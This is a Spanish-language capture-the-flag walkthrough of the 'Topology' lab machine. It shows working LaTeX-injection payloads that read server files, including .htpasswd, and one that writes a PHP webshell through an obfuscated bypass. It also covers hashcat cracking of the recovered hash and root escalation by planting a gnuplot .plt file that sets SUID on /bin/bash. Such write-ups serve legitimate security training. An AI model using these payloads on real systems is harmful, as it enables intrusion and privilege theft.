Topology

Topology es una mΓ‘quina Linux de dificultad fΓ‘cil que muestra una aplicaciΓ³n web LaTeX susceptible a una vulnerabilidad de inclusiΓ³n de archivos locales (LFI). La explotaciΓ³n de la falla LFI permite la recuperaciΓ³n de un archivo .htpasswd que contiene una contraseΓ±a en hash. Al descifrar el hash de la contraseΓ±a, se obtiene acceso SSH a la mΓ‘quina, lo que revela un cronjob root que ejecuta archivos gnuplot. La creaciΓ³n de un archivo .plt malicioso permite la escalada de privilegios.


Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que estΓ‘n expuestos en la mΓ‘quina Topology. Este resultado lo almacenaremos en un archivo llamado allPorts.

❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.217 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-17 00:18 CET
Initiating SYN Stealth Scan at 00:18
Scanning 10.10.11.217 [65535 ports]
Discovered open port 22/tcp on 10.10.11.217
Discovered open port 80/tcp on 10.10.11.217
Completed SYN Stealth Scan at 00:18, 12.62s elapsed (65535 total ports)
Nmap scan report for 10.10.11.217
Host is up, received user-set (0.050s latency).
Scanned at 2025-02-17 00:18:37 CET for 13s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.73 seconds
           Raw packets sent: 65535 (2.884MB) | Rcvd: 65554 (2.623MB)

A travΓ©s de la herramienta de extractPorts, la utilizaremos para extraer los puertos del archivo que nos generΓ³ el primer escaneo a travΓ©s de Nmap. Esta herramienta nos copiarΓ‘ en la clipboard los puertos encontrados.

❯ extractPorts allPorts

[*] Extracting information...

	[*] IP Address: 10.10.11.217
	[*] Open ports: 22,80

[*] Ports copied to clipboard

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una pΓ‘gina web de Apache.

❯ nmap -sCV -p22,80 10.10.11.217 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-17 00:19 CET
Nmap scan report for topology.htb (10.10.11.217)
Host is up (0.041s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
|   256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_  256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Miskatonic University | Topology Group
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   88.87 ms 10.10.16.1
2   30.67 ms topology.htb (10.10.11.217)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.05 seconds

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

❯ xsltproc targetedXML > index.html

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Accederemos a http://localhost y verificaremos el resultado en un formato mΓ‘s cΓ³modo para su anΓ‘lisis.

AΓ±adiremos la siguiente entrada en nuestro archivo /etc/hosts.

❯ cat /etc/hosts | grep topology
10.10.11.217 topology.htb 

Web Enumeration

Realizaremos una comprobaciΓ³n de las tecnologΓ­as que utiliza el sitio web.

❯ whatweb http://topology.htb
http://topology.htb [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[lklein@topology.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.217], Title[Miskatonic University | Topology Group]

Realizaremos una enumeraciΓ³n de directorios y pΓ‘ginas web de la aplicaciΓ³n web, no logramos obtener ningΓΊn resultado interesante.

❯ feroxbuster -u http://topology.htb/ -t 200 -C 500,502,404
                                                                                                               
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://topology.htb/
 πŸš€  Threads               β”‚ 200
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ’’  Status Code Filters   β”‚ [500, 502, 404]
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 πŸ”Ž  Extract Links         β”‚ true
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      313c http://topology.htb/images => http://topology.htb/images/
301      GET        9l       28w      310c http://topology.htb/css => http://topology.htb/css/
200      GET      174l      545w     6767c http://topology.htb/index.html
200      GET     2433l    13135w   950557c http://topology.htb/portraits/lklein.jpg
301      GET        9l       28w      317c http://topology.htb/javascript => http://topology.htb/javascript/
200      GET      174l      545w     6767c http://topology.htb/

Accederemos a http://topology.htb y nos encontraremos con la siguiente pΓ‘gina web.

Al inspeccionar el sitio web, nos encontramos que haciendo hovering, se nos muestra un subdominio llamado latex.topology.htb.

AΓ±adiremos esta nueva entrada en nuestro archivo /etc/passwd.

❯ cat /etc/hosts | grep topology
10.10.11.217 topology.htb latex.topology.htb

Al ingresar directamente a http://latex.topology.htb y nos encontramos con la siguiente pΓ‘gina web en la que podemos realizar Directory Listing.

Accederemos a http://latex.topology.htb/equation.php y nos encontramos con la siguiente aplicaciΓ³n web en la cual nos permite introducir cΓ³digo LaTeX. Con lo cual, podrΓ­amos posteriormente comprobar si es vulnerable a LaTeX Injection.

Subdomain Enumeration

Realizamos una enumeraciΓ³n de subdominios del dominio principal de la pΓ‘gina web. Al finalizar el anΓ‘lisis, nos encontramos con dos nuevos subdominios: stats.topology.htby dev.topology.htb.

❯ wfuzz --hh=6767 -c --hc=404,400 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.topology.htb" http://topology.htb 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://topology.htb/
Total requests: 220547

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                       
=====================================================================

000000158:   200        5 L      9 W        108 Ch      "stats"                                       
000000821:   401        14 L     54 W       463 Ch      "dev"                                         

Total time: 90.09859
Processed Requests: 2278
Filtered Requests: 2276
Requests/sec.: 25.28341

AΓ±adiremos estas nuevas entradas en nuestro archivo /etc/hosts.

❯ cat /etc/hosts | grep topology
10.10.11.217 topology.htb latex.topology.htb stats.topology.htb dev.topology.htb

Al acceder a http://stats.topology.htb nos encontramos con el siguiente contenido, el cual no parece tener contenido importante en Γ©l.

Al acceder a la pΓ‘gina web de http://dev.topology.htb, nos encontramos con la siguiente pΓ‘gina web en la cual requiere ingresar credenciales que no disponemos.

Dado que nos encontramos ante una pΓ‘gina web montada en un servidor de Apache, y por el tipo de autenticaciΓ³n que nos requiere ingresar, podemos pensar en que quizΓ‘s estΓ© utilizando Basic Auth y existan archivos de .htaccess o .htpasswd el cual contengan credenciales de usuarios.

Los . htaccess se utilizan para indicar al servidor web que se comporte de una determinada manera, aΓ±adiendo, limitando o modificando funcionalidades por defecto. Entre las utilidades de uso mΓ‘s frecuente se encuentran las configuraciones de acceso a la web, las restricciones de seguridad, las redirecciones, etc. htpasswd es un archivo de texto que se usa para guardar los nombres de usuario y las contraseΓ±as para la autenticaciΓ³n bΓ‘sica del Servidor HTTP Apache. El nombre del fichero se da en el fichero de configuraciΓ³n .

Initial Access

LaTeX Injection

Volveremos a la pΓ‘gina de http://latex.topology.htb y probaremos de revisar si es vulnerable a LaTeX Injection el campo donde nos permite inyectar cΓ³digo LaTeX.

Interceptaremos la solicitud con BurpSuite, y comprobamos que la solicitud se tramita a travΓ©s del mΓ©todo GET. Por otro lado, se verifica que la variable eqn es dΓ³nde podemos introducir cΓ³digo LaTeX.

En este ejemplo bΓ‘sico, introduciremos Gzzcoo y al enviar la solicitud, en la respuesta por parte del servidor se nos genera un PDF con el cΓ³digo LaTeX.

Reading Files with LaTeX Injection

Lo primero que intentaremos es intentar leer archivos arbitrarios del sistema mediante LaTeX Injection. A travΓ©s de la siguiente inyecciΓ³n, trataremos de listar la primera lΓ­nea del archivo /etc/passwd.

Verificamos que al inyectar el cΓ³digo, comprobamos que en el PDF generado se muestra la primera lΓ­nea del archivo listado.

\newread\file
    \openin\file=/etc/passwd
    \read\file to\line
    \text{\line}
\closein\file

Al intentar listar todo el contenido de /etc/passwda travΓ©s de la siguiente inyecciΓ³n LaTeX, se nos mostraba que habΓ­a detectado un comando ilegal, con lo cual mediante el bucle, no podΓ­amos listar el contenido entero del archivo.

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
    \read\file to\fileline
    \text{\fileline}
\repeat
\closein\file

Probamos de intentar ejecutar el comando id mediante la siguiente inyecciΓ³n LaTeX para intentar obtener un RCE. pero tampoco obtuvimos el resultado esperado.

\immediate\write18{id > output}
\input{output}

En la siguiente pΓ‘gina web,s e nos menciona un paquete de code listing en donde podemos importar cΓ³digo desde un archivo.

En este caso, tratamos de incluir una imagen del contenido del archivo /etc/passwd, pero nos dio mensajes de error.

\lstinputlisting{/etc/passwd}

Para explotar la vulnerabilidad de LaTeX Injection, necesitamos inyectar cΓ³digo malicioso en un contexto donde LaTeX lo interprete y ejecute.

En este caso, el sitio parece encerrar automΓ‘ticamente la entrada entre sΓ­mbolos $ ... $, lo que significa que cualquier comando que intentemos inyectar quedarΓ‘ dentro del modo matemΓ‘tico de LaTeX. Para romper esa estructura y ejecutar nuestros propios comandos, podemos intentar cerrar la expresiΓ³n con $ y luego insertar nuestra carga ΓΊtil, finalizando con otro $ para restaurar el formato esperado.

Por ejemplo, la siguiente inyecciΓ³n nos permitirΓ­a leer el contenido de /etc/passwd:

Si la inyecciΓ³n es exitosa, el contenido del archivo deberΓ­a aparecer renderizado dentro del documento generado por LaTeX, tal y como se muestra en este caso.

Por lo tanto, tenemos una manera de listar el contenido de archivos arbitrarios del sistema.

$\lstinputlisting{/etc/passwd}$

Information Leakage

DespuΓ©s de diferentes pruebas para intentar obtener informaciΓ³n que nos pudiese servir y no obtener resultado ninguno, pensamos en que quizΓ‘s exista el archivo .htpasswd y .htaccess de la pΓ‘gina web dev.topology.htb que encontramos anteriormente que nos requerΓ­a ingresar credenciales.

Por lo tanto, decidimos primero revisar la configuraciΓ³n de las pΓ‘ginas web de Apache que se encuentran habilitadas en el sistema objetivo, para tratar de revisar las rutas de configuraciΓ³n exacta de donde se encuentran los correspondientes archivos.

$\lstinputlisting{/etc/apache2/sites-enabled/000-default.conf}$

En el resultado obtenido, se nos mostrΓ³ la configuraciΓ³n de las diferentes pΓ‘ginas web que llegamos a enumerar anteriormente.

Revisamos que la configuraciΓ³n de dev.topology.htb se encuentra en /var/www/dev.

Por lo tanto, sabiendo esta informaciΓ³n podemos intentar listar el contenido del .htaccess de la pΓ‘gina web indicada. Verificamos que en el PDF generado, se nos muestra el contenido del archivo que querΓ­amos listar.

Tal y como mencionΓ‘bamos anteriormente, se estaba utilizando un Basic Authpara acceder a dev.topology.htb. TambiΓ©n se nos confirma la ruta en donde se encuentra almacenada el archivo .htpasswd el cual deberΓ­a contener credenciales de acceso a la pΓ‘gina web.

$\lstinputlisting{/var/www/dev/.htaccess}$

Decidimos listar el contenido del .htpasswd en el resultado obtenido, se nos muestra las credenciales del usuario vdaisley en formato hash, probablemente Apache MD5.

$\lstinputlisting{/var/www/dev/.htpasswd}$

Verificamos que el tipo de hash encontrado es Apache MD5. A travΓ©s de hashcat, finalmente logramos crackear el hash y obtener las credenciales en texto plano.

❯ hashid '$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0'
Analyzing '$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0'
[+] MD5(APR) 
[+] Apache MD5 

❯ hashcat -h | grep Apache
   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)                      | FTP, HTTP, SMTP, LDAP Server
   
❯ hashcat -a 0 -m 1600 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU


$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0:calculus20

Probamos de autenticarnos con las credenciales encontradas en http://dev.topology.htb, logramos acceder a la pΓ‘gina web, pero no obtenemos informaciΓ³n interesante que nos pueda servir.

Probamos de autenticarnos al SSH con las credenciales del usuario vdaisley, finalmente logramos el acceso remoto a la mΓ‘quina y visualizar la flag de user.txt.

❯ ssh vdaisley@10.10.11.217
vdaisley@10.10.11.217's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Feb 16 18:59:18 2025 from 10.10.16.3Γ§
vdaisley@topology:~$ export TERM=xterm
vdaisley@topology:~$ cat user.txt 
4313af6cb7**********************

Bypass Restrictions LaTeX Injection to perform Remote Code Execution

ippSec, nos muestra tambiΓ©n una manera de poder llegar a acceder al equipo mediante LaTeX Injection logrando realizar un Bypass de las restricciones que se nos indicaba anteriormente.

En el siguiente ejemplo, creamos un archivo llamado gzzcoo.php que contenΓ­a una webshell.

\newwrite\outfile\openout\outfile=gzzcoo.php\^^77rite\outfile{<?php system($_REQUEST['cmd']); ?>}\closeout\outfile

Este archivo al parecer, es subido en http://latex.topology.htb/tempfiles/, en el cual comprobamos el archivo creado.

Probamos de utilizar la webshell subida, y se nos muestra la posibilidad de ejecutar comandos arbitrarios en el sistema objetivo.

En este caso, el usuario que ejecuta los comandos era www-data, con lo cual si utilizamos este mΓ©todo, deberΓ­amos posteriormente ganar acceso como el usuario vdaisley.

❯ curl -s 'http://latex.topology.htb/tempfiles/gzzcoo.php?cmd=id;hostname;ifconfig'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
topology
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.217  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:fe94:9002  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:fe94:9002  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:94:90:02  txqueuelen 1000  (Ethernet)
        RX packets 105628  bytes 8125611 (8.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 95326  bytes 29401300 (29.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4855  bytes 407965 (407.9 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4855  bytes 407965 (407.9 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Privilege Escalation

Basic Enumeration

Realizaremos una enumeraciΓ³n bΓ‘sica con el usuario vdaisleypara lograr verificar si disponemos de algΓΊn grupo interesante, permisos de sudoers o de algΓΊn binario con SUID. En este caso, no logramos obtener resultados interesantes para elevar nuestros privilegios.

vdaisley@topology:~$ id
uid=1007(vdaisley) gid=1007(vdaisley) groups=1007(vdaisley)
vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley: 
Sorry, user vdaisley may not run sudo on topology.
vdaisley@topology:~$ find / -perm -4000 2>/dev/null
/usr/sbin/pppd
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn

Monitoring Processes (Pspy64)

Enumerando los directorios del sistema, nos encontramos con el directorio /opt el cual disponΓ­a de un directorio nombrado como gnuplot. Este directorio no disponemos del acceso correspondiente y verificamos que el propietario es el usuario root.

gnuplot es un programa de lΓ­nea de comandos y GUI que puede generar grΓ‘ficos bidimensionales y tridimensionales de funciones, datos y ajustes de datos .

vdaisley@topology:~$ ls -l /opt/
total 4
drwx-wx-wx 2 root root 4096 Jun 14  2023 gnuplot

vdaisley@topology:~$ ls -l /opt/gnuplot/
ls: cannot open directory '/opt/gnuplot/': Permission denied

Por lo tanto, probamos de enumerar los procesos que se encontraban en ejecuciΓ³n mediante pspy64. Este binario que disponemos en nuestro equipo local, lo compartiremos mediante un servidor web.

❯ ls -l pspy64
.rwxr-xr-x kali kali 3.0 MB Tue Jan 17 22:09:52 2023 ο’‰ pspy64

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde el equipo comprometido, nos descargaremos el binario y le daremos los permisos de ejecuciΓ³n correspondientes.

vdaisley@topology:/tmp$ wget 10.10.16.3/pspy64; chmod +x pspy64
--2025-02-16 19:04:18--  http://10.10.16.3/pspy64
Connecting to 10.10.16.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: β€˜pspy64’

pspy64                      100%[==========================================>]   2.96M  1.58MB/s    in 1.9s    

2025-02-16 19:04:20 (1.58 MB/s) - β€˜pspy64’ saved [3104768/3104768]

Ejecutaremos el binario de pspy64 para analizar los procesos que se encontraban en ejecuciΓ³n en el sistema. DespuΓ©s de un breve tiempo, comprobamos que se estΓ‘n ejecutando mediante una tarea CRON, la ejecuciΓ³n de archivos con extensiΓ³n .plt en el directorio /opt/gnuplot y posteriormente se ejecutan con gnuplot.

vdaisley@topology:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ β–“β–ˆβ–ˆ   β–ˆβ–ˆβ–“
    β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ    β–’ β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ  β–ˆβ–ˆβ–’
    β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’β–‘ β–“β–ˆβ–ˆβ–„   β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’ β–’β–ˆβ–ˆ β–ˆβ–ˆβ–‘
    β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’  β–’   β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’ β–‘ β–β–ˆβ–ˆβ–“β–‘
    β–’β–ˆβ–ˆβ–’ β–‘  β–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’β–ˆβ–ˆβ–’ β–‘  β–‘ β–‘ β–ˆβ–ˆβ–’β–“β–‘
    β–’β–“β–’β–‘ β–‘  β–‘β–’ β–’β–“β–’ β–’ β–‘β–’β–“β–’β–‘ β–‘  β–‘  β–ˆβ–ˆβ–’β–’β–’ 
    β–‘β–’ β–‘     β–‘ β–‘β–’  β–‘ β–‘β–‘β–’ β–‘     β–“β–ˆβ–ˆ β–‘β–’β–‘ 
    β–‘β–‘       β–‘  β–‘  β–‘  β–‘β–‘       β–’ β–’ β–‘β–‘  
                   β–‘           β–‘ β–‘     
                               β–‘ β–‘     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/02/16 19:04:46 CMD: UID=1007  PID=3034   | ./pspy64 
2025/02/16 19:04:46 CMD: UID=0     PID=2986   | 
2025/02/16 19:04:46 CMD: UID=0     PID=2985   | 
2025/02/16 19:04:46 CMD: UID=0     PID=1      | /sbin/init 
2025/02/16 19:05:01 CMD: UID=0     PID=3046   | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
2025/02/16 19:05:01 CMD: UID=0     PID=3045   | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \; 
2025/02/16 19:05:01 CMD: UID=0     PID=3044   | /usr/sbin/CRON -f 
2025/02/16 19:05:01 CMD: UID=0     PID=3043   | /usr/sbin/CRON -f 
2025/02/16 19:05:01 CMD: UID=0     PID=3048   | /usr/sbin/CRON -f 
2025/02/16 19:05:01 CMD: UID=0     PID=3047   | gnuplot /opt/gnuplot/loadplot.plt 
2025/02/16 19:05:01 CMD: UID=0     PID=3053   | /bin/sh /opt/gnuplot/getdata.sh 
2025/02/16 19:05:01 CMD: UID=0     PID=3052   | /bin/sh /opt/gnuplot/getdata.sh 
2025/02/16 19:05:01 CMD: UID=0     PID=3051   | /bin/sh /opt/gnuplot/getdata.sh 
2025/02/16 19:05:01 CMD: UID=0     PID=3050   | netstat -i 
2025/02/16 19:05:01 CMD: UID=0     PID=3049   | /bin/sh /opt/gnuplot/getdata.sh 
2025/02/16 19:05:01 CMD: UID=0     PID=3057   | /bin/sh /opt/gnuplot/getdata.sh 
2025/02/16 19:05:01 CMD: UID=0     PID=3056   | /bin/sh /opt/gnuplot/getdata.sh 
2025/02/16 19:05:01 CMD: UID=0     PID=3055   | grep -o load average:.*$ 
2025/02/16 19:05:01 CMD: UID=0     PID=3054   | 
2025/02/16 19:05:01 CMD: UID=0     PID=3059   | tail -60 /opt/gnuplot/loaddata.dat 
2025/02/16 19:05:01 CMD: UID=0     PID=3060   | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 

Lo primero que deberemos realizar, es comprobar que tenemos permisos de escritura en el directorio mencionado. Por lo tanto, crearemos un nuevo archivo .txt y le daremos los permisos de ejecuciΓ³n, esto para simular que podemos crear archivos.

Comprobamos que hemos logrado crear un archivo en el directorio /opt/gnuplot y tambiΓ©n la capacidad de darle permisos de ejecuciΓ³n al archivo creado.

vdaisley@topology:/opt$ echo 'gzzco was where' > /opt/gnuplot/gzzcoo.txt
vdaisley@topology:/opt$ ls -l /opt/gnuplot/gzzcoo.txt
-rw-rw-r-- 1 vdaisley vdaisley 16 Feb 16 19:07 /opt/gnuplot/gzzcoo.txt
vdaisley@topology:/opt$ chmod +x /opt/gnuplot/gzzcoo.txt
vdaisley@topology:/opt$ ls -l /opt/gnuplot/gzzcoo.txt
-rwxrwxr-x 1 vdaisley vdaisley 16 Feb 16 19:07 /opt/gnuplot/gzzcoo.txt

Pensando que la tarea CRON que realiza la ejecuciΓ³n de los archivos .plt en dicho directorio sea root, tenemos una vΓ­a potencial para poder escalar privilegios.

En esta primera comprobaciΓ³n crearemos un archivo gzzcoo.plt que ejecute el comando whoami y redirija el output al archivo /tmp/whoami. Le daremos los permisos correspondientes y comprobaremos de la existencia del archivo y de que se hayan asignado los permisos correspondientes.

vdaisley@topology:/opt$ echo 'system "whoami > /tmp/whoami";' > /opt/gnuplot/gzzcoo.plt
vdaisley@topology:/opt$ chmod +x /opt/gnuplot/gzzcoo.plt
vdaisley@topology:/opt$ ls -l /opt/gnuplot/gzzcoo.plt
-rwxrwxr-x 1 vdaisley vdaisley 31 Feb 16 19:09 /opt/gnuplot/gzzcoo.plt

DespuΓ©s de un breve tiempo, comprobamos en el directorio /tmp que aparece el archivo creado whoami. Revisando el archivo, comprobamos que el comando whoami ha dado como resultado el usuario root.

Con esto, se confirma que tenemos una vΓ­a potencial de abusar de un script creado con extensiΓ³n .plten el directorio mencionado para que posteriormente sea ejecutado a travΓ©s de la tarea CRON del usuario root.

vdaisley@topology:/opt$ ls -l /tmp
total 3064
-rwxrwxr-x 1 vdaisley vdaisley 3104768 Jan 17  2023 pspy64
drwx------ 3 root     root        4096 Feb 16 18:06 systemd-private-de1cea4b82844141bf370951bba87c3d-apache2.service-tr5Juh
drwx------ 3 root     root        4096 Feb 16 18:55 systemd-private-de1cea4b82844141bf370951bba87c3d-fwupd.service-KgLzdh
drwx------ 3 root     root        4096 Feb 16 18:06 systemd-private-de1cea4b82844141bf370951bba87c3d-ModemManager.service-twUI0h
drwx------ 3 root     root        4096 Feb 16 18:06 systemd-private-de1cea4b82844141bf370951bba87c3d-systemd-logind.service-tw6iuf
drwx------ 3 root     root        4096 Feb 16 18:06 systemd-private-de1cea4b82844141bf370951bba87c3d-systemd-resolved.service-YGF6Uf
drwx------ 3 root     root        4096 Feb 16 18:06 systemd-private-de1cea4b82844141bf370951bba87c3d-systemd-timesyncd.service-zkIJAi
drwx------ 2 root     root        4096 Feb 16 18:06 vmware-root_657-4022112241
-rw-r--r-- 1 root     root           5 Feb 16 19:10 whoami
vdaisley@topology:/opt$ cat /tmp/whoami 
root

En este caso, reemplazaremos el contenido de gzzcoo.plt para que en este caso asigne permisos de SUIDsobre el binario /bin/bash. Verificamos que se el script sigue estando en el directorio mencionado y dispone de los permisos de ejecuciΓ³n.

DespuΓ©s de un breve tiempo, revisamos el binario /bin/bash y comprobamos que se le han asignado los permisos de SUID, con lo cual finalmente logramos convertirnos en usuario root y visualizamos la flag root.txt

vdaisley@topology:/opt$ echo 'system "chmod u+s /bin/bash";' > /opt/gnuplot/gzzcoo.plt
vdaisley@topology:/opt$ ls -l /opt/gnuplot/gzzcoo.plt
-rwxrwxr-x 1 vdaisley vdaisley 30 Feb 16 19:10 /opt/gnuplot/gzzcoo.plt
vdaisley@topology:/opt$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
vdaisley@topology:/opt$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt 
df00d35bed**************************

Última actualización

ΒΏTe fue ΓΊtil?